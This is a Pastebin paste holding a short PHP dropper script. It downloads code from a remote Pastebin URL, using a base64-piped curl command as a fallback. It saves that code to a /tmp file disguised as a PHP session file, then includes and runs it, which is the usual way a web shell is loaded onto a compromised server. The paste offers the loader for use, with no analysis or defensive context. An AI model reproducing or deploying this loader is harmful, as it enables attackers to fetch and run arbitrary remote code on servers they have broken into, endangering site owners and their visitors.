jaenudinmaulana69

auo

Oct 29th, 2018
116
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.66 KB | None | 0 0
  1. <?php
  2. //*thanx for idx
  3. $URL = 'https://pastebin.com/raw/CPLsCh3B';
  4. $TMP = '/tmp/sess_'.md5($_SERVER['HTTP_HOST']).'.php'; # dont change this !!
  5.  
  6. function M() {
  7. $FGT = @file_get_contents($GLOBALS['URL']);
  8. if(!$FGT) {
  9. echo `curl -k $(echo {$GLOBALS['URL']} | base64 -d) > {$GLOBALS['TMP']}`;
  10. } else {
  11. $HANDLE = fopen($GLOBALS['TMP'], 'w');
  12. fwrite($HANDLE, $FGT);
  13. fclose($HANDLE);
  14. }
  15. echo '<script>window.location="?mmk=mmc";</script>';
  16. }
  17.  
  18. if(file_exists($TMP)) {
  19. if(filesize($TMP) === 0) {
  20. unlink($TMP);
  21. M();
  22. } else {
  23. include($TMP);
  24. }
  25. } else {
  26. M();
  27. }
  28. ?>
Add Comment
Please, Sign In to add comment